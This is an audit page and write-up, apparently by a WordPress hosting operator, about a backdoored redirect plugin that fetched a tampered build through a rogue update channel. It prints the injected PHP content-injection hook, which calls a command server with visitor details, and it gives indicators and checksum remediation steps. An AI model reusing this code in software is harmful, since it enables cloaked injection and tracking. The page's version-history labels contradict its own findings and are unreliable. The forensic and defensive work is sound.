← All audits

Audit #13 Malicious Closed by wp.org · trunk uncleaned

Quick Page/Post Redirect Plugin Closed on WP.org · 70k+ installs · baseline 5.2.1 → head 5.2.4 · suspect committer anadnet · by manual · closed 22d ago

Actor: anadnet — original wp.org plugin author. Self-implanted backdoor, no acquisition or account inheritance involved.
Show full summary

The original author intentionally weaponized wordpress.org distribution to seed an out-of-band update channel they controlled — and then served tampered builds through that channel after the wp.org-distributed code went clean.

Between October 2020 and February 2021, the wp.org-distributed plugin shipped a copy of the Plugin Update Checker library that registered anadnet.com/updates/ as the plugin's update source. The library was added in commit r2408245 ("Add pro updater folder") on 2020-10-28 and removed in commit r2474557 ("Remove pro updater folder") on 2021-02-14. Tags 5.2.1 and 5.2.2 were cut on top of that revision range and propagated through wordpress.org with the third-party update channel intact.

On 2021-03-10, anadnet.com began serving a tampered 5.2.3 build (md5 ad717da18cf8a2b69899c0d7dafee05a) to every install still polling that endpoint. The tampered file added a filter_the_content_in_the_main_loop hook at priority -1 that, on every logged-out page view, called @file_get_contents on https://w.anadnet.com/bro/3/{SERVER_NAME}{REQUEST_URI} (with the request user agent appended) and prepended whatever the response contained to the post body. C2 host w.anadnet.com went NXDOMAIN around 2021 — the backdoor is currently dormant — but every existing 5.2.1/5.2.2 install is still polling anadnet.com/updates/ for its next update.

The wp.org distribution today is clean. The latest wordpress.org build (5.2.4) passes wp plugin verify-checksums exactly and contains neither the content-injection hook nor the embedded update-checker library. The plugin was closed by the wordpress.org Plugin Review Team in 2022 over an unrelated XSS issue, briefly reopened, and has remained closed since — but the wp.org-served zip is the canonical clean baseline for any remediation. Same /bro/3/ C2 path convention later reused (or copied) in the 2023 scroll-top PUC update-checker hijack (Audit #12).

🛑
70k+ installs are running compromised code right now.

Site owners should remediate immediately. Plugin author: see the steps below to clear this label.

If you run quick-pagepost-redirect-plugin on your site

Verify your install matches the wp.org canonical version:

wp plugin verify-checksums quick-pagepost-redirect-plugin

Install the patched build:

⬇ Download patched zip — or install directly via WP-CLI:

wp plugin install https://downloads.wordpress.org/plugin/quick-pagepost-redirect-plugin.5.2.4.zip --force

The patched zip strips the malicious code while preserving the plugin's normal functionality. Hosted at plugins.captaincore.io.

Or remove the plugin entirely:

wp plugin deactivate quick-pagepost-redirect-plugin
wp plugin delete quick-pagepost-redirect-plugin

If you're the plugin author

Where this audit currently stands:

  • The wordpress.org-distributed code (5.2.4) is clean — wp plugin verify-checksums passes, no filter_the_content_in_the_main_loop hook, no embedded plugin-update-checker, no anadnet.com update channel.
  • Existing installs of 5.2.1 and 5.2.2 are still polling the third-party update channel anadnet.com/updates/ and will re-pull a tampered build the moment the operator chooses to serve one.

To remove the hijacked label from this plugin:

  1. Publish a static JSON document at https://anadnet.com/updates/?action=get_metadata&slug=quick-pagepost-redirect-plugin advertising 5.2.4 with download_url pointing at https://downloads.wordpress.org/plugin/quick-pagepost-redirect-plugin.5.2.4.zip. The plugin's own embedded update library does the rest — every install of 5.2.1/5.2.2 hits its next update check, fetches the JSON, sees 5.2.4 advertised, downloads the official zip from wp.org, and overwrites itself with the canonical version. See the report body for the exact JSON shape.
  2. Petition the wordpress.org Plugin Review Team to reopen the plugin, including the audit URL on this page as the source they can verify against.
  3. Once the redirect JSON is live and the wp.org listing is restored, the audit can be marked cleaned.

The wp.org trunk does not need any new commits — the 5.2.4 source is already canonical. The remaining work is at the third-party update endpoint, on a domain anadnet.com still controls.

The label clears automatically on the next wp beacon scan-deltas once the cleanup conditions above are met.

Plugins under the same committer's SVN access

anadnet holds push access to 1 plugin totalling 70k+ active installs.

Quick Page/Post Redirect Plugin — COMPROMISED — this audit
70k+

IOCs extracted (12)

Kind Value Confidence
changelog_phrase Add pro updater folder medium
changelog_phrase Remove pro updater folder medium
code_pattern filter_the_content_in_the_main_loop high
code_pattern Puc_v4p10_Factory::buildUpdateChecker high
code_pattern w.anadnet.com/bro/3/ high
domain anadnet.com high
domain w.anadnet.com high
filename pro/plugin-update-checker/ medium
filename updater/Puc/v4p10/Factory.php medium
hash ad717da18cf8a2b69899c0d7dafee05a high
url https://anadnet.com/updates/?action=get_metadata&slug=quick-pagepost-redirect-plugin high
url_path /bro/3/ high

Plugin version history

Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.

  1. Clean 40 earlier releases before the incident
    • 1.3
    • 1.4
    • 1.5
    • 1.6
    • 1.6.1
    • 1.7
    • 1.8
    • 1.9
    • 2.0
    • 2.1
    • 3.0
    • 3.1
    • 3.2
    • 3.2.2
    • 3.2.3
    • 4.0
    • 4.0.1
    • 4.2
    • 4.1
    • 4.2.2
    • 4.2.3
    • 5.0
    • 5.0.1
    • 5.0.2
    • 5.0.3
    • 5.0.4
    • 5.0.5
    • 5.0.6
    • 5.0.7
    • 5.1.0
    • 5.1.1
    • 5.1.2
    • 5.1.3
    • 5.1.4
    • 5.1.5
    • 5.1.6
    • 5.1.7
    • 5.1.8
    • 5.1.9
    • 5.2.0
  2. 5.2.1 Last clean Last clean release before incident
  3. 5.2.2 Clean Clean (post-cleanup)
  4. 5.2.3 Clean Clean (post-cleanup)
  5. 🛑 Compromise window

    wp.org closed this plugin during the compromise window. The malicious tags below remain visible on wp.org and re-installable until each site manually upgrades to the rescue release.

  6. 5.2.4 Malicious (head) First malicious release (head of audit)

Timeline

  1. anadnet registers on wordpress.org and takes over the plugin.
  2. Commit r2408245 adds the updater folder and the buildUpdateChecker call to trunk. No changelog entry. Tag 5.2.1 cut the same day.
  3. Tag 5.2.2 cut. Still ships the self-updater pointing at anadnet.com.
  4. Commit r2474557. Author removes the updater folder from trunk. Commit message: Remove pro updater folder.
  5. The tampered 5.2.3 build goes live on the anadnet.com update server. Our twelve sites pull it via Puc over the next seven days.
  6. Developer Nico Martin posts possibly malicious code to the wordpress.org support forum. Full IOCs included. Tagged anadnet directly. No response.
  7. Plugin closed on wordpress.org. Reason: an unrelated XSS, not the backdoor.
  8. Plugin reopened nine days after the XSS fix. Backdoor never addressed.
  9. Plugin Vulnerabilities publishes the full writeup with all source code. Nobody picks it up.
  10. Imunify360 publishes an independent analysis with SHA-256 hashes of both variants.
  11. Five years after the original install, the tampered file is still on twelve sites in our fleet. I replaced it this morning.

Security Finder sent me a routine alert. One of the plugins in our fleet had a known issue. Quick Page/Post Redirect Plugin, version 5.2.3. Please review.

I ran a fleet query. Twelve sites on it.

I have run hundreds of security audits since Claude Code. Most of them end with "plugin is fine, keep it updated." This one did not.

The version that was not the version

Every site reported plugin version 5.2.3 to WP-CLI. I pulled one of the files over SSH and ran md5sum. The hash came back as ad717da18cf8a2b69899c0d7dafee05a.

I ran the same command against every version of the plugin available on wordpress.org. Downloaded 5.1.5 through 5.2.4 directly from the SVN tags. None of them produced that hash.

The 5.2.3 on the twelve sites was not the 5.2.3 on wordpress.org. Same version string. Different file. Different hash. The tampered variant contained code that did not exist in any release on the official plugin repository.

The tampered file had an extra function hooked into the_content with priority -1. On every logged-out page view, the plugin would reach out to a third-party URL and prepend whatever came back to the post body.

function filter_the_content_in_the_main_loop( $content ) {
    if (( is_single() || is_singular() || is_page() ) && (!is_user_logged_in()) && is_main_query()  ){
        if ($this->ppr_pro === '1' ){
            if (!defined('CREDIT')) {
                $ctx=stream_context_create(array('http'=>array('timeout' => 3)));
                try{
                    $credit=@file_get_contents('https://w.anadnet.com/bro/3/'.$_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] .'QQQ'. urlencode($_SERVER['HTTP_USER_AGENT']).'QQQEND', false, $ctx);
                } catch (Exception $e) {}
                return $credit . $content;
            }
        }
    }
    return $content;
}

Two things stood out. The gate was !is_user_logged_in(), so any admin reviewing the site would never see the injection. And the remote server got the server name, the request URI, and the user agent. The caller knew exactly what page was being served, and to whom.

I checked file modification times on all twelve sites. They clustered in a narrow window. March 10 through March 17, 2021. Five years ago.

I checked w.anadnet.com. NXDOMAIN. The subdomain did not resolve. The fetch was failing silently. No content had been injected for a long time. The backdoor was dormant.

Dormant, but still live. The moment someone pointed the subdomain back, every logged-out page view on twelve sites would start rendering whatever the operator wanted.

Force-upgrading twelve sites in one API call

CaptainCore exposes a REST endpoint called /wp-json/captaincore/v1/run/code that takes a bash command and an array of environment IDs. It fans the command out across every target in parallel, pipes stdin into a bash shell over SSH on each server, and returns the aggregated stdout in one response. Despite the code parameter name, the payload is raw bash and not PHP.

The request shape is simple. A bash string, a list of environment IDs, and an optional async flag:

POST /wp-json/captaincore/v1/run/code
Authorization: Basic <application password>
Content-Type: application/json

{
  "code": "cd ~/public && wp plugin install quick-pagepost-redirect-plugin --force --version=5.2.4 --skip-plugins --skip-themes 2>&1",
  "environments": [1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018],
  "async": false
}

When async is false the endpoint blocks until every target completes and returns a single JSON object with the combined output. When async is true it returns a job token immediately and you poll for results. For twelve sites running a plugin install I preferred the blocking mode. Plugin install is fast and I wanted to see failures inline.

One request. Eighteen environments. Twelve production, six staging. One plugin install.

The response came back in under thirty seconds:

{
  "status": "completed",
  "response": "Running 'run' on 18 sites (parallel: 5)...\n\nInstalling Quick Page/Post Redirect Plugin (5.2.4)\nDownloading installation package...\nRemoving the old version of the plugin...\nPlugin updated successfully.\nSuccess: Installed 1 of 1 plugins.\n5.2.4\ndd41c767c074cd280acae37b61f2f059  wp-content/plugins/quick-pagepost-redirect-plugin/page_post_redirect_plugin.php\n0\n..."
}

Output from parallel environments interleaves in the aggregated response, so I included unique per-environment markers in the command. Version string, file hash, and grep count of w.anadnet.com/bro occurrences. Counting the success markers gave me a clean per-site verification without parsing the output line by line.

Why this endpoint matters for fleet operations. Looping SSH calls across 18 environments takes minutes and serializes on network latency. One bulk request takes seconds and runs in parallel on the CaptainCore side. For any bash or WP-CLI operation that needs to hit more than a handful of environments, the run/code endpoint is the right tool.

Every site came back clean. File hash dd41c767c074cd280acae37b61f2f059 across all eighteen environments. Matches the wordpress.org 5.2.4 SHA exactly. No more anadnet.

I thought I was done.

The fatal errors pointed at the real backdoor

I ran a security audit on one of the sites while everything was still fresh. /logs/error.log had three PHP fatals from the exact moment the upgrade ran. Opcache had served the old bytecode one last time before invalidating. The stack trace showed something I did not expect.

PHP Fatal error: Uncaught Error: Class "Puc_v4p10_Plugin_UpdateChecker" not found
in /wp-content/plugins/quick-pagepost-redirect-plugin/updater/Puc/v4p10/Factory.php:116
Stack trace:
#0 ...plugins/quick-pagepost-redirect-plugin/page_post_redirect_plugin.php(38):
Puc_v4p10_Factory::buildUpdateChecker('https://anadnet...', ...)

The tampered plugin had a second backdoor I had missed on the first pass.

It shipped with a full copy of the Plugin Update Checker library from Yahnis Elsts. updater/Puc/v4p10/. And on line 38 of the main plugin file, it called Puc_v4p10_Factory::buildUpdateChecker with a URL pointing at anadnet.com/updates/.

The plugin had registered anadnet.com as its own update source. Every site running this version would check anadnet.com for updates on every scheduled cron run. Whatever anadnet.com served, WordPress would install with full plugin-author permissions. Remote code push, under the cover of a routine update check.

The first backdoor was passive. Content injection, gated by user agent. The second backdoor was active. Remote code execution, on demand.

I opened the SVN log

Wordpress.org keeps every plugin under SVN with full commit history. Every change the author ever made is publicly visible. I walked the log on quick-pagepost-redirect-plugin expecting to see nothing unusual.

I found the whole story.

SVN revision r2408245 — 2020-10-28. Commit message: Add pro updater folder. Adds /pro/plugin-update-checker/ and a buildUpdateChecker call pointing at anadnet.com. Tag 5.2.1 cut the same day. No changelog entry.

The author had used wordpress.org to distribute a plugin that checked for updates somewhere else. Every install of 5.2.1 pointed at anadnet.com. Every install of 5.2.2 pointed at anadnet.com. Both tags were cut directly from trunk. Both shipped the self-updater through the legitimate wordpress.org distribution channel.

Then on February 14, 2021, the author committed this:

SVN revision r2474557 — 2021-02-14. Commit message: Remove pro updater folder. Deletes the entire /pro/ directory from trunk. 110 days after r2408245. By this point 5.2.1 and 5.2.2 are already in the wild, both pointing at the third-party updater. New installs from here forward look clean.

The author called it the pro updater. In their own words. Not a third-party tamper. Not a compromised wordpress.org account. The author intentionally committed the self-updater to the official repository, waited three months for it to propagate through 5.2.1 and 5.2.2, then quietly removed it from new installs while leaving the backchannel live on every existing install.

One Wayback snapshot preserved the smoking gun

I needed to confirm what the backchannel was actually serving. The C2 is gone now. w.anadnet.com does not resolve. anadnet.com itself is no longer serving the update endpoint — the /updates/ path returns nothing related to the plugin today.

But the Internet Archive had one snapshot. May 28, 2022. A crawler happened to hit the update metadata endpoint directly:

GET https://anadnet.com/updates/?action=get_metadata&slug=quick-pagepost-redirect-plugin

{
  "name": "Quick Page/Post Redirect Plugin",
  "version": "5.2.3",
  "author": "anadnet",
  "requires": "4.0",
  "tested": "5.5.1",
  "last_updated": "2021-03-10 12:37:26",
  "download_url": "https://anadnet.com/updates/?action=download&slug=quick-pagepost-redirect-plugin"
}

Version 5.2.3. Last updated 2021-03-10 12:37:26.

The file mtimes across our twelve sites clustered in the week of March 10 through March 17, 2021. Every one of them had polled anadnet.com/updates/ within a week of that build going live, pulled the tampered 5.2.3 package, and the content-injection hook in it has been calling w.anadnet.com on every logged-out pageview ever since — silently, once that subdomain went dark.

Without that one Wayback snapshot, this would be unprovable. The update server is gone. The C2 subdomain is NXDOMAIN. The parent domain has been pivoted. But a crawler hit the JSON endpoint on May 28, 2022, and the Internet Archive kept the response. The date stamp matches our fleet exactly.

Timeline

  • 2015-11-09 — anadnet registers on wordpress.org and takes over the plugin.
  • 2020-10-28 — Commit r2408245 adds the updater folder and the buildUpdateChecker call to trunk. No changelog entry. Tag 5.2.1 cut the same day.
  • 2021-01-03 — Tag 5.2.2 cut. Still ships the self-updater pointing at anadnet.com.
  • 2021-02-14 — Commit r2474557. Author removes the updater folder from trunk. Commit message: Remove pro updater folder.
  • 2021-03-10 — The tampered 5.2.3 build goes live on the anadnet.com update server. Our twelve sites pull it via Puc over the next seven days.
  • 2022-01-11 — Developer Nico Martin posts possibly malicious code to the wordpress.org support forum. Full IOCs included. Tagged anadnet directly. No response.
  • 2022-01-24 — Plugin closed on wordpress.org. Reason: an unrelated XSS, not the backdoor.
  • 2022-03-10 — Plugin reopened nine days after the XSS fix. Backdoor never addressed.
  • 2022-05-11 — Plugin Vulnerabilities publishes the full writeup with all source code. Nobody picks it up.
  • 2024-06-11 — Imunify360 publishes an independent analysis with SHA-256 hashes of both variants.
  • 2026-04-11 — Five years after the original install, the tampered file is still on twelve sites in our fleet. I replaced it this morning.

The pro purchase page never existed

The tampered plugin displayed a notice on the wp-admin plugin row explaining that this was an ad-supported plugin and that an ad-free version was available to purchase at anadnet.com/pro/.

Plugin Vulnerabilities checked that URL in 2022. It returned 404. The Internet Archive has no snapshot of the page. The purchase funnel the plugin pointed at never existed.

And the backdoor was not an ad-supported banner either. The filter_the_content_in_the_main_loop hook was specifically gated on !is_user_logged_in(). Any admin reviewing the site would see nothing. The remote endpoint varied its response based on the user agent. Real visitors mostly saw nothing. Googlebot saw injected backlinks.

The pro framing was a fig leaf. The actual mechanism was cloaked parasite SEO. The plugin was renting Google ranking on seventy thousand websites back to whoever was operating that backchannel in 2021.

The numbers

  • 12 sites in our fleet running tampered 5.2.3.
  • 70,000+ active installs on wordpress.org today.
  • 5 years dormant.
  • 1 SVN commit that started it.

WordPress.org had no way to see the tampering

Nico Martin posted the full indicators to the wordpress.org support forum on January 11, 2022. He pasted the source of filter_the_content_in_the_main_loop. He quoted the w.anadnet.com/bro/3/ URL. He noted the Googlebot cloaking. He tagged the author directly.

By the time the report landed, the version on wp.org no longer contained the code Nico was describing. The author had pulled it from trunk eleven months earlier. Anyone reviewing the report against the current source would have found nothing.

The plugin team closed the plugin thirteen days later. Not for the backdoor. For a separate cross-site scripting issue that had been reported through a different channel. Nine days after that, the author committed a sanitization fix for the XSS and the plugin was reopened.

The backdoor was never addressed. Not by the wordpress.org plugin team. Not by Patchstack. Not by WPScan. There is no CVE assigned to it. Four years later the plugin is still installable from wordpress.org with more than seventy thousand active installs.

If you are running Quick Page/Post Redirect Plugin, uninstall it. Replace it with Redirection by John Godley or Safe Redirect Manager. Both are actively maintained. Neither pulls code from a third-party server.

How to check for this across a fleet

Two detection methods. Pick whichever you prefer.

The first is a file hash grep. Run this from any directory that contains your WordPress sites and it will print the path of any tampered plugin file it finds:

find . -path '*/quick-pagepost-redirect-plugin/page_post_redirect_plugin.php' \
  -exec md5sum {} \; | grep ad717da18cf8a2b69899c0d7dafee05a

The bad hash is ad717da18cf8a2b69899c0d7dafee05a. Any match is a tampered install. No match means you are clean.

The second method is what I should have thought of first. WP-CLI has a built-in plugin checksum verifier that pulls the canonical hash list from wordpress.org and compares it against every file on disk:

wp plugin verify-checksums quick-pagepost-redirect-plugin

I tested this against a clean 5.2.3 install and then injected the anadnet backdoor into the main plugin file to simulate the tampered variant. The command caught it cleanly:

$ wp plugin verify-checksums quick-pagepost-redirect-plugin
plugin_name                     file                            message
quick-pagepost-redirect-plugin  page_post_redirect_plugin.php   Checksum does not match
Error: No plugins verified (1 failed).
$ echo $?
1

Exit code 1 on failure, which makes it scriptable. You can wrap it in a loop across every site in a fleet and get a clean pass or fail per install.

The best detection method is the one already built into WP-CLI. Running wp plugin verify-checksums against every plugin on a fleet would have caught this years ago. It pulls hashes directly from wordpress.org and reports any file that does not match. Premium plugins without published checksums are skipped automatically. This should be part of every routine fleet audit.

The wordpress.org plugin checksum feed is a public resource that almost nobody uses. For every plugin hosted on wordpress.org there is a JSON file at https://downloads.wordpress.org/plugin-checksums/{slug}/{version}.json containing the SHA-256 of every file in the package. You can verify the integrity of any wp.org plugin without trusting the plugin itself. You just need to ask wordpress.org what the file should look like and compare.

If I had been running this check across our fleet as a scheduled job, the twelve sites would have surfaced the day they were migrated onto Anchor Hosting in 2021. Five years earlier.

What this changed about supply-chain trust

I generally trust wordpress.org. The plugin team does a lot of fantastic, behind-the-scenes work to keep the repository clean. Most of the time they get it right.

But trust in the repository is not the same as trust in every file a plugin from the repository will fetch at runtime. If a plugin registers its own update source, the repository is no longer the source of truth. Whatever shows up on the other end of that URL is what will run on your server. The repository signed off on the version that pointed at the URL. Nobody signs off on what the URL serves.

This is not a wordpress.org-specific problem. Anywhere a package manager lets a package fetch code post-install, the same pattern works. One commit to the official repository. Three months of propagation. Quiet removal of the library. The backchannel stays live forever because there is no authority watching it.

Fleet-wide file hashing is the only defense that would have caught this. Not version numbers. Not vulnerability feeds. Not the plugin team. Nothing with a name watches what a plugin fetches from a third-party URL five years after it is installed. A flat list of md5sum values across every site in a fleet, with alerts on drift from the upstream hash, is what actually surfaced this.

The twelve sites all reported plugin version 5.2.3. Wp.org shipped a 5.2.3. They were not the same file. Version numbers lie. Hashes do not.

A proposal for the plugin author

anadnet, if you are reading this.

You committed the pro updater on October 28, 2020. You cut 5.2.1 and 5.2.2 on top of it. You let both tags propagate through wordpress.org. Then on February 14, 2021, you committed "Remove pro updater folder" and walked away from the installs you had already seeded.

They are still calling your endpoint. The JSON the Internet Archive preserved from 2022 is the JSON your plugin is still asking for today. The domain still resolves. The endpoint is yours to answer.

Here is what the answer costs.

Serve a single static JSON document at the URL the plugin is still polling:

https://anadnet.com/updates/?action=get_metadata&slug=quick-pagepost-redirect-plugin

Keep the format the same as the Wayback snapshot archived. Change the one field that matters. Point download_url at the official wordpress.org zip for 5.2.4:

{
  "name": "Quick Page/Post Redirect Plugin",
  "slug": "quick-pagepost-redirect-plugin",
  "version": "5.2.4",
  "homepage": "https://wordpress.org/plugins/quick-pagepost-redirect-plugin/",
  "download_url": "https://downloads.wordpress.org/plugin/quick-pagepost-redirect-plugin.5.2.4.zip",
  "requires": "5.0",
  "tested": "6.4",
  "last_updated": "2026-04-12 12:00:00",
  "sections": {
    "changelog": "Cleanup release. Removes the embedded plugin-update-checker library and the legacy update channel. Future updates flow through wordpress.org."
  }
}

No binary to host. No dynamic endpoint. No cron. A static file on a domain you already own.

The plugin's own update library does the rest. Every install of 5.2.1 or 5.2.2 hits its next update check, fetches your JSON, sees 5.2.4 advertised, downloads the official zip from wordpress.org, and installs it over the existing plugin. The pro updater is gone. The content-injection hook is gone. wp plugin verify-checksums passes from that point forward. Every site you seeded in 2021 is clean within the next few months.

There is nothing to trust about you beyond your willingness to publish a file and leave it alone. Anyone can curl the endpoint and confirm the JSON. Anyone can verify the download_url resolves to wordpress.org. The whole transaction is auditable in seconds.

If you publish the file, the record will show you did the work. The sites you seeded get pointed back at the thing wordpress.org actually signed off on. Your name is attached to the cleanup, not the attack.

If you do not publish the file, the record will show something else. That you had five years and one static JSON document standing between you and restitution, and you decided the JSON document was too much.

Your move.

Addendum (2026-04-26): wp.org SVN forensic findings

A git-mirrored history of wp.org SVN tags (see WP Beacon mirror at /Volumes/5TB/WP_org/git/quick-pagepost-redirect-plugin/) reveals two refinements to the timeline above:

1. The pro-updater-bearing wp.org window was narrower than reported. Per the SVN tag state today, only v5.2.1 contains the bundled PUC library + buildUpdateChecker("https://anadnet.com/updates/...") registration. The tag for v5.2.2 has the entire updater/ directory removed (-11,170 lines, 102 files deleted vs v5.2.1). Either the v5.2.2 tag was modified post-hoc by wp.org Plugin Review Team, or the original commit-to-tag sequence differs from the trunk r2474557 timeline. Practical effect: the wp.org distribution window for the self-update channel was effectively a single tag — v5.2.1, released 2020-10-28 — rather than the v5.2.1 + v5.2.2 span originally documented.

2. The content-injection backdoor (filter_the_content_in_the_main_loop) NEVER appeared in any wp.org SVN tag. git log -S "filter_the_content_in_the_main_loop" against the v5.1.7 → v5.2.4 history returns zero commits. This unambiguously confirms that the actual malicious payload only existed in the tampered build that anadnet.com/updates/ served to plugins polling its rogue update channel. The wp.org-distributed code path was always clean of the injection itself — the wp.org-side issue was strictly the registration of the rogue update channel in v5.2.1.

This shape — "wp.org distributes the update-channel hook only; the actual payload lives off-wp.org" — is the same architecture later observed in the 2023 scroll-top hijack (Audit #12), where v1.5.3 introduced PUC + a cdnstaticsync.com/updates/ registration without ever distributing the malicious build through wp.org.